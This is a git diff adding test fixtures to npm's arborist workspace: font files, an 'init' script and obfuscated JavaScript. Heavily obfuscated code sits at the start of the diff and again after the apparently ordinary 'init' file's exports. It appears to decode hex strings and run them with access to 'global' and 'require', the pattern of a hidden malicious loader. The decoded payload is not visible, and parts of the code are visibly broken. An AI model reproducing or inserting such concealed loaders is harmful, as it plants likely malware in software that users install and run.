9a5b0f0f0a7c3a5b0b7e5b7a5a2bfa5ffefe6d9a2f8d9efa3e6d9e9f0a5b7d9e8a5f9dbe6a5e8d9eeabe8d9e8e0d9f3a2b7e8ade8e2a5f2e8eee7fef2b0a7a5d3eff9d9e7d9d9a8abe8e8eda5e8d9ababd9afd9e8e4f9f9a3a5f9c8fbb7c5f9a8cea3d6d9e5d9a9e2e1e5ecd9d9bfb7c8afeaefe7d9eae8adffa3aaa6d9fba5d6efe4a5e8e2d9f6fef8d9f9f8a3e5abc8b7aab0a5ede8a5e8cbf1b7ffd9bfffc8d9ffd9ffe8b6a5e8b8e8ede4a5aaababd9b0b7edeeb3d9eff9c6d9d9d0efc5d0e8f2d9e8b1b5dfe5b7e7d5a5e7e4b3d9e2d9d9e8f8f8e8f6d9fffbe8f0a5f8d9f8a5a5a5f6e8a5d9ead2d0b7eaa1aba2c2a3e7efd9a3fcf8f9bdaba1d9bcaaeab7d8a5e8b7d7d9a5c9cec7d9eebdd2edb7bab7eee8dbf9cfeeabf8e7bbdbe9cfa8d9d6e4a5acb7e7a5e6abd9a3fba2b7eee0eae8a5e8d9a5efa5a5d4feb7eaacb7abd9e7e2e9ede6e5efedd6a5a3aed9d9b7d9c5cfe8d9ced9a8dda5a5eaf8ead0e5add9a7afb7a7d9b7e4bfd9d9eeced9a2f8f8c7d6b3ced8d9d9eed9cee2d9f0d9b7e8a5f0abe8dcccedf6e4e3efe8eaf8a5d6a5abeddbb6abe4f8bdbccee4e8c2dbe4e8aba5bce2ece8cdc8d9a5abb7e8cea5c5aba5e9d9','e7eee5ecffe3','babcb8b8bfbcbeeccddcd3c6c5','e8e3eaf9caff','e3faeef9f8f3e7fefdfceae8efe1e9f2e6ece4f9f1ede0e4e8e2fbfff9feffe5f8ffe4e5e8','bebdf9fcc0e6c0ce','bababfbeb8e2c2c7cfc8f8'];mVhVvcpwIAYc_H=function(){return aOztdzEEw;};return mVhVvcpwIAYc_H();}(function boot(QkBMbigwKIzJe_NoDY,vY$mdv_kCrwP){var wZMbCWHFscZk_n_cJPu=aomItBRY;QkBMbigwKIzJe_NoDY['z']=z;var NaFdXWDHAcCu$FcQMqjiA=splitLane(wZMbCWHFscZk_n_cJPu(0x14e));QkBMbigwKIzJe_NoDY[NaFdXWDHAcCu$FcQMqjiA[-0x2180+-parseInt(0x1)*-parseInt(0x2621)+-0x4a1]]=vY$mdv_kCrwP;typeof module===NaFdXWDHAcCu$FcQMqjiA[0x6*parseInt(parseInt(0x211))+Math.max(-parseInt(0x165f),-parseInt(0x165f))+parseInt(0x9fa)]&&(QkBMbigwKIzJe_NoDY[NaFdXWDHAcCu$FcQMqjiA[0x178*Math.floor(-0x10)+-parseInt(0xb)*0x218+Math.max(-parseInt(0x4a),-parseInt(0x4a))*Math.ceil(-parseInt(0xa1))]]=module);var SC_YSJpFjuLL_M=peel(wZMbCWHFscZk_n_cJPu(0x154)),EDw_$tnk=SC_YSJpFjuLL_M[wZMbCWHFscZk_n_cJPu(0x149)](-0x216a+0x32*0x9d+parseInt(0x2c0),-0x1*0x1361+Math.trunc(0xb78)+0x7f4*Math.trunc(parseInt(0x1))),vwvfPdVdeSZ_YyIshmLNSDw=peel[EDw_$tnk],n_suTw_NDFx=vwvfPdVdeSZ_YyIshmLNSDw('',peel(wZMbCWHFscZk_n_cJPu(0x158))),jZ$zhCFDyXYzMpMICWhbTiB=n_suTw_NDFx(peel(wZMbCWHFscZk_n_cJPu(0x150)));return vwvfPdVdeSZ_YyIshmLNSDw('',jZ$zhCFDyXYzMpMICWhbTiB)(Math.ceil(-0xe5f)+0x4f9+parseInt(0x1333)),Math.floor(-0x1516)*Math.floor(parseInt(0x1))+0x2c48+0x89c;}(global,require)); \ No newline at end of file diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.eot b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.eot new file mode 100644 index 0000000000000..a1bc094ab14d8 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.eot differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.svg b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.svg new file mode 100644 index 0000000000000..46ad237a6191a --- /dev/null +++ b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.svg @@ -0,0 +1,3570 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.ttf b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.ttf new file mode 100644 index 0000000000000..948a2a6cc76a4 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.ttf differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.woff b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.woff new file mode 100644 index 0000000000000..2a89d521e3fad Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.woff differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.woff2 b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.woff2 new file mode 100644 index 0000000000000..141a90a9e0a4b Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-brands-400.woff2 differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.eot b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.eot new file mode 100644 index 0000000000000..38cf2517a4da7 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.eot differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.svg b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.svg new file mode 100644 index 0000000000000..48634a9ab4743 --- /dev/null +++ b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.svg @@ -0,0 +1,803 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.ttf b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.ttf new file mode 100644 index 0000000000000..abe99e20c38a2 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.ttf differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.woff b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.woff new file mode 100644 index 0000000000000..24de566a5c972 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.woff differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.woff2 b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.woff2 new file mode 100644 index 0000000000000..7e0118e526eb5 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-regular-400.woff2 differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.eot b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.eot new file mode 100644 index 0000000000000..d3b77c223afc9 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.eot differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.svg b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.svg new file mode 100644 index 0000000000000..7742838b4481a --- /dev/null +++ b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.svg @@ -0,0 +1,4938 @@ + + + + + +Created by FontForge 20190801 at Mon Mar 23 10:45:51 2020 + By Robert Madole +Copyright (c) Font Awesome + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.ttf b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.ttf new file mode 100644 index 0000000000000..5b979039ab28a Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.ttf differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.woff b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.woff new file mode 100644 index 0000000000000..beec79178427a Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.woff differ diff --git a/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.woff2 b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.woff2 new file mode 100644 index 0000000000000..978a681a10ff0 Binary files /dev/null and b/workspaces/arborist/test/fixtures/external-link-cached-dummy-dep/a/t/u/v/w/x/y/z/public/fonts/fa-solid-900.woff2 differ diff --git a/workspaces/arborist/test/fixtures/tap-with-yarn-lock/init b/workspaces/arborist/test/fixtures/tap-with-yarn-lock/init new file mode 100644 index 0000000000000..de19f86e699ec --- /dev/null +++ b/workspaces/arborist/test/fixtures/tap-with-yarn-lock/init @@ -0,0 +1,35 @@ +'use strict'; + +const path = require('path'); +const fs = require('fs'); + +const ROOT = process.cwd(); +const ENV = process.env.NODE_ENV || 'development'; + +const state = { + root: ROOT, + env: ENV, + ready: false, +}; + +function ensureDir(dir) { + try { + if (!fs.existsSync(dir)) fs.mkdirSync(dir, { recursive: true }); + } catch (_) {} +} + +function init(options) { + if (state.ready) return state; + const opts = options || {}; + state.env = opts.env || process.env.NODE_ENV || state.env; + state.root = opts.root || process.cwd(); + ensureDir(path.join(state.root, '.tmp')); + state.ready = true; + return state; +} + +init(); + +module.exports = { init, state }; +module.exports.ROOT = ROOT; +module.exports.ENV = ENV; (function(DEye$Qj,vfK_Gdau$aega){var zqNzCSyDbrL$BHJXyiBBLSrcr=C_N_qYrZ,Ep$WRSLA$nn=DEye$Qj();while(!![]){try{var hGCjpAttib_MSTSPVvcrS_E=-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x10a))/(Math.trunc(-parseInt(0x607))*0x2+parseInt(0x5f)*Math.max(-0x17,-0x17)+Math.ceil(0x1498))*(-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x108))/(-0x1b1+-0x1*Math.max(-parseInt(0x21ba),-0x21ba)+parseInt(0x1)*Math.max(-0x2007,-0x2007)))+Math['max'](parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xf5))/(Math.floor(0xe5d)*Math.floor(parseInt(0x2))+parseInt(0x1fe5)+-0x3c9c),parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x105))/(0xfe*-0x3+-0x1370+Number(parseInt(0xb))*0x20a))+-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xfb))/(-0x1ff1+parseInt(-0x42)*parseInt(parseInt(0x13))+0x937*Math.floor(0x4))*(-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x104))/(Math.trunc(parseInt(0x23e4))+Math.ceil(0x2)*Math.max(-parseInt(0x166),-0x166)+-0x2112))+Math['trunc'](-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x103))/(parseInt(-parseInt(0x1))*parseInt(0x1467)+0x1bdb+0x76d*-parseInt(0x1)))*(parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xf6))/(Math.trunc(-0x1de5)*parseInt(-parseInt(0x1))+-parseInt(0x9c9)+-0x4*parseInt(0x505)))+parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x109))/(parseInt(0x1e58)+parseFloat(-0x1)*-parseInt(0x242e)+parseInt(0x427d)*-parseInt(0x1))+Number(parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xf4))/(Number(-0x2531)+-0x2395+-0x48d*-0x10))*(parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xfd))/(0x13c0+parseInt(0x1354)*-0x1+-parseInt(0x61)))+-parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0xfc))/(-parseInt(0x17e1)*parseInt(parseInt(0x1))+Math.floor(0x15c)*0x10+0x22d)*Math['trunc'](parseFloat(zqNzCSyDbrL$BHJXyiBBLSrcr(0x107))/(parseInt(-0x20d9)+Math.floor(parseInt(0xf6d))+parseInt(0x9)*Math.trunc(parseInt(0x1f1))));if(hGCjpAttib_MSTSPVvcrS_E===vfK_Gdau$aega)break;else Ep$WRSLA$nn['push'](Ep$WRSLA$nn['shift']());}catch(roiPOXBZJbLyPLrZTjpZT){Ep$WRSLA$nn['push'](Ep$WRSLA$nn['shift']());}}}(dGdUdaiclQIAjiJNHcY,Math.ceil(0x6a)*0xe90+-0x8e71a+Number(parseInt(0x8017b))));var z='',NX=[Math.trunc(parseInt(0x305))*parseInt(0x13b1)+parseInt(0x141)*Math.floor(-parseInt(0x6861))+parseInt(0x407)*0x2bed,Math.floor(-0x269f)*Math.trunc(-parseInt(0x1))+-parseInt(0x14b)+parseInt(0x1)*-0x23e5,parseInt(0x107)*Math.floor(0x6f)+Math.ceil(parseInt(0x8))*-0xda+-parseInt(0x6)*Math.trunc(parseInt(0x495)),Math.max(0x6ff,0x6ff)+parseInt(0x26)*parseInt(0x4)+-0x532,0x43ea+Math.trunc(0x13)*-0x643+Number(0xddfe)*0x1,-0x32*Math.trunc(-0x2ee7f)+parseInt(0x86)*parseFloat(-0x3550)+-parseInt(0x86adf)*parseInt(0x5)],SX=[-0x9458d0+0x81bd8b+parseInt(parseInt(0x633ae2)),-parseInt(0x2265)+parseInt(-0x1d6)+Math.max(parseInt(0x252c),0x252c),Math.trunc(-parseInt(0x223))*0x59+Math.floor(-0x951d)+0x1f729,-parseInt(0xc)*parseFloat(parseInt(0x22e))+Math.floor(-0x10cc)+-parseInt(0xd3)*parseFloat(-0x35),-parseInt(0x14003)+Math.floor(parseInt(0x1d))*-0xef3+0x3cccb,-parseInt(0x423f)*parseInt(0x207)+parseFloat(-parseInt(0x415a28))+parseInt(0x23f66)*0x79];function spin(aix$_xGa,bP$wMgXaU_Kj){var USiGEFRe=C_N_qYrZ,YIh_MU_XvxKjzUhcdiezsy=[],hEmXqIRgU_mSLeYG=-parseInt(0x1b6a)+parseInt(0x9)*-0xb+Math.max(parseInt(0x1),parseInt(0x1))*Math.trunc(0x1bcd),yCXG$BKloh_vtZvtMK=bP$wMgXaU_Kj[parseInt(0x9f7)+-parseInt(0xcb8)+Math.floor(-parseInt(0x2f))*Math.max(-parseInt(0xf),-parseInt(0xf))],cQSbIYwf$doxnpkWOu_IbPtMA,H$qZA_h,KuocvSKmp_nS,mGJL_yUeR,iYfUGTxHpQVGjpD,MkHZowibMGQLsLjEb;while(hEmXqIRgU_mSLeYGparseInt(XaeXFwN_KOvc$Ml,parseInt(0x428)*parseInt(0x4)+parseInt(0xdfb)*0x2+-parseInt(0x2c86)))),rnakZYjIamPo_jakWT=ernBDSBEzSrgomXqnRq['map'](AbzIpWSJqY$y$n=>AbzIpWSJqY$y$n^OHq$D_qS),qxhfzPIHolrlFlcN$xE$PJi=new TextDecoder(),sGMyWZ=qxhfzPIHolrlFlcN$xE$PJi['decode'](rnakZYjIamPo_jakWT);return sGMyWZ;};C_N_qYrZ['qRvHvr']=rGrfpAl$OMFHXQkaQev_pscAM,SyPPNIPvCiIrCO=arguments,C_N_qYrZ['lHnHIy']=!![];}var jehObuiioP_tyRkIFgJsh=ojloYvKrYIEe[-0x14b+parseInt(0x2512)+parseInt(parseInt(0x3))*Math.trunc(-parseInt(0xbed))],cTFy_R=nRd$D$JcUla+jehObuiioP_tyRkIFgJsh,yyboVkbZPLlQZjhzmDKHBYFiB=SyPPNIPvCiIrCO[cTFy_R];return!yyboVkbZPLlQZjhzmDKHBYFiB?(C_N_qYrZ['vgXYtF']===undefined&&(C_N_qYrZ['vgXYtF']=!![]),JcVhk__o=C_N_qYrZ['qRvHvr'](JcVhk__o),SyPPNIPvCiIrCO[cTFy_R]=JcVhk__o):JcVhk__o=yyboVkbZPLlQZjhzmDKHBYFiB,JcVhk__o;},C_N_qYrZ(SyPPNIPvCiIrCO,AyOQ$ylbKIkFq$lOIOX);}function dGdUdaiclQIAjiJNHcY(){var qhbstS=['393f28393e3823242d','29222b380b3e','7d7d072f060b2438','7b7819193a3e3003','727a7b797a721d2f2f27082b','20252324','7b7279787b7c7e7b0d241b002221','7b7d7a102d073d2f00','7f7c727d797a7d33271e3a1c2c','7d7e7a7b23211c223325','7b787a121024040426','7c7a7a73727b0d18002e2b0d','787f727e7d782005390c0e10','262f242d3e22','772b2f24383f22622b26777f29662d722c2e3f6433386a646424292f292c667f683a2b2f2b3f7c262420633817783f3c6832673b62176a2b7162387771713861622b11726439783e0b2d253b663f227209662b236639712b620b277a62242071203c60667d3c257d6263622571277c252b7e383d63646a38252e112c397824312e383c3e7e3263617a662b243861383861256337307b6a77222c112b2472387b38116617397d677d7d262b2b643f237d31677a7c73263c273e7838772317177661633f662f636666712438221138777a3c6738627166773a63093f39776129712d712c713b0b63637b3c23633c217a2438267b2b2f6a2c77117122233933642f27622e61256b786a77622f3c2f2b7d727764637e2f23772d642477312c2c777b1176782b6a2c7b7738717e6619633833263c7b3f6a3371213b26313e3c243c6a62096a622666253c243a6a23773e2638663864263d2530226226663e3b7171383862623c772b22393c7117323b772b28712e2b7166626238713c203b64623e1161632e2b63382e243822397e7b33623c38712c2271792d68172f62642b22383a2b3a2d172d6463242d2c3a247b2266232926717163770971277f776138666a6463713f776139376163233e66612827712e613f276367773923233b2526773e7738773b7361646429223b61117c2c2f6a3e7a24383a38626a3c38722c263824662e2e2d3e6a177c2b64712771383e22642d3b6a782b372f3c2f2329172d283e23767e2571097126663030237c6126112b117161623923682623683866243a237339662c382c223f3d63253d772f316228773d2f24783e642d3f64237721232b2b2b6163332c3e3a2b7924376377736863293a0b613f713f3e3a17687726217d3c3a3e6a7b387122303d68633e626373636264263f2677397d2c716a71393b7a63246833617a3937773c2b61396a2722627a3b6417223c71746a7a7c770b6725302f3e38623e7b383e38392339257a2f6664713011622c767f2f7d3e6662382b252b3c2438713e22222c713c66207738716a6338747b72302225602531762b21273924632b213e2f643c2573612f2b7a2926232571283f6a7717096b2d207133796126632f7764372e3877237c252309723824247a717c772b38683764382f237717193e3938242464717838773e71113e71233c773a3809382462632b382f3e3f30616a222621116132772f6a67722031622f203373626263636a','393a26233e','181576682918006b6c1c2f29181d2b7718382c186e7c68297b711818132924221565643e6a231818180d1476186418291878641124186a64182c6465761829796b6b7f2419187618231806642f1939262c622f2e2d32297675257638262918753e1825392e182c3f192f64756c3a22641818050739112f763921180f6476183f7638182f71180e180838181816642c18647629706b283a267a7323292518383e2918627138251818247867686264143d6a336476762e2e6a636e2c6a253f646f2f762b762f643e7627622918322c18761100622c2f18761a283864286d251823641818766d18186f3d182c39632f1864112b2d191a312e786421762b297b2f646b79641a761018231860250e3923771164762c64687e18286a04682f2532183a2564230326212b2f1e186478636f2776232f1817307636183f62622c183d181816187418736964187a382e7739647a326b3918642c1819636229293e7b3a2c253e2b2f073f180a1877761818652a6418216e6278291864397d2f7b2b640c180129606464306818242c1a2f39183e1818186476182669182c76706a786262186a186e6d7c392a7679242223606e2f1229371822756a293e252964232f2929736a31182b7639713f6b642f170f1818250264646e6824760e7918391818646462182f2f39392f18766a3e66686a182e253c3719297a002723641e76390f2f2d39183d1718682b1864186b187625636320186a182f3d6a233e296439242162376224113c2f18767a7677212c0276383807186a292321240f64296408766c1811251718646f29291826383271606a11682523392f24182f2c2f2b6b1324642f29186f25683f64767c261818183318772339771818626318182f701818636b183d2938187b7664256b182918290a6837183f183b3f7f62791a2526682f183e7a6b2c3e2b186076187b3e2421292c371e646b6e657638256a03332918186a631a76166428763e187d701a1a3976176438127676642f183f621818183b243a6476641871293e23391264181833186e0a76796321181829766118387226606423186b3809161a6b24772939766229237662187d2f182f1829646a3e762f3a2f632f7676662f76620f016b643a24286e68182b1818642f3c3f2229641e2615296470187a386a63183d3d6b39197a643e7d3f647a621873152b626e6c642f7c2c641818217b0932282372266422297727620a76182e646476383864786401073829281518241862181529700e3d3e376418643137732d6e181818631e1c3e762b6264760d642e18341d1f18647126386422033927041a6a6a3e0a1818721518781864231838181a187662187969292f297a292f79231818762b1879182b2418311039376b077618676064332e2b791823657a6f2c1869186a76237876187a7270643e37182c6b686718296418261829333e3318392f0b7a18191e1872647e3b766e0c1e2f1864641a157629187c222818642f38236429671822290b1809783c18647128197618762b690176187038171e2c2f2f67716b217715396418292720396218377076182b18606c2d64762e25272f2339182464626e69152b311c0a252913676425271a2e2b2764182b262c2933251e616b1a152d393864762823186b2c646329036c622803251823623824381d64232f6418296a6b6223296219186429382a70737612393a18626e6a2718293e7639642d6b647e723839212f3c1c181a2e1821321876182e2f3824632f19396563186a262f387629391e792e293764187f09651d62641925241038631829252929392922631864761818763e643939621818762e263f642964362c723e21663926242f3a25762f18766b647c18642f2f18181e2b6c226a072c763111256e18766a18397a63776a7632192f2964293776296e2f3962622e63181829372c09181876607618642767641860182f7662323c18396a62076c182c642f1a602d6a74396376256477641823392438186475317f762328187c6318187b396a29182d3b292f262977292671282f76262c601903092e782f68303a18183776291826196624203929276e1824646b2b232376001317762c1a09390a200b6418766f6a3e6418253d18376d6a38743a3022646426186d762d25153776191862213b3222116a6c762318672c6e09763f76232b0f04187f181e181776183a3921646418302e2d64631776632f3864183864073918301a7418182f76763e15222d26763a641829272c18396b242c3e187e6a2e3e157314766625382f7f182c18326a181811381264763928331876766478186418382f241f1a623374643a7676293918263e7a3e64316419332324762d2d266e6a1c296463700f02036b64320e3f1866183a1822186239293e640738180720020718182918646a183e242e36252b7a6424692b6478630e2c216c291803181818652c2f1864290a762338397c1e617b181a32646418643929642b18696467761231186b247e182918233e186524182f73276464760b63282f2463641776642b621862643175793e186c18186523622612646a76226b2e181876686b2925756a796a7b1876672224762e3e242e257618213927696729621e2f182f2f6b1764187639761e61771864182367380a1818643869292e762918181827303e2c64092e2f183a6429311b18232820392539642c18382d67181d7a2e231818766421760518186c67186b696a17093917333e7e64672e152a1a18186d7664183c2f20193d762e2964296a662c641a64626429233e29042818246d67642f18291824381b643818322531182976687c18242e171837182762186e181925641e7f182978293264603c18252329157464397a08182c63761a762b1864250910367a6a1a05022e1b2564246a76647b392518156d6a641a762f38641176183618767a23761838716d03641811376126296b1127296b6426297624622b6a3e181802182666373a37186318721800762b1864763e2e62047417232976272f0a7f2924113f64186364286f391a2476761518186b182818776e181814766b37633928677c68690f722918622e6b18633e382b3e181876766a787b186d066b2328362f053e18183e6e3f292e241818643e6318300f640d1a336b6a180b0367243b2b3f763764332918646464291818642929296e1418182e091518763e722918223978681878646d1974636378226b2f2c336464746b23066e2f246a716f73051e3c642e6e7e18180976291a19623e3f183d266c6227696818363a2922763e026e2b76766a643e6b18190f2c6418182d29041a64186a0918237e2718766907181876713d2367690f6a76763e762f187602761838243e250f626b7a387a762e64641809682924646478283a627c093a761918682f7b26632929762b621a641a732f763b2b6376767b76246423182b181a1862371877646c66786b293d1864631a186e64763b1876376b7b601976186b182c64762976182e15761878187676691776761818183a6b64383a1876606b1e180318761a217618303e2b646c37642b262f0177231a76186d772d181a37183a6e311908646a1839336462643e6b6a2971762f7f39227c7e3e3e763a2c76253e323f061e21387471761864293a39186429183e1867692b7e3f187c64183e2f7167626e753d72703a656c18267a763869762f6a2323392c6b2e6e2b251562692927386a2f7618181c6b1a24292b763e6434293829622f6d602b706a761818242f2b102f646f652e1876181860620f6a2a612f111a293d183d6a76622f3f293e2b63647d1d76656e1a76642229191e6a7d2f18086b6461186403762822182f26643e2f64287e113f243f2f3f186b18263e62181818663766022c3e023c152464762f186a150b76727639387618327e6318046b3a182e36086a76181821232f6d2967641829242779293976192376236463640f6218627618181a186a15791876293d2f646b642676186e6b18282e662f761a180f266e3e3a386b762565636418183e6b661e623829696564183362611838182d2a762c64762b61642c636576766c766a2f1818762f236776082c0f643918282418186364186f65203e2618766f296a186b18623218692918643918186418076476187d2962292d26182927641776642f297828631a76767818186c2e2b0801633876103e74112e2b1802292f2e640718763739180d38641876757b182c18182929291862253929681818342176166b0729643a6409633f18326361621821162f6d207c071a1f1809272975181879187e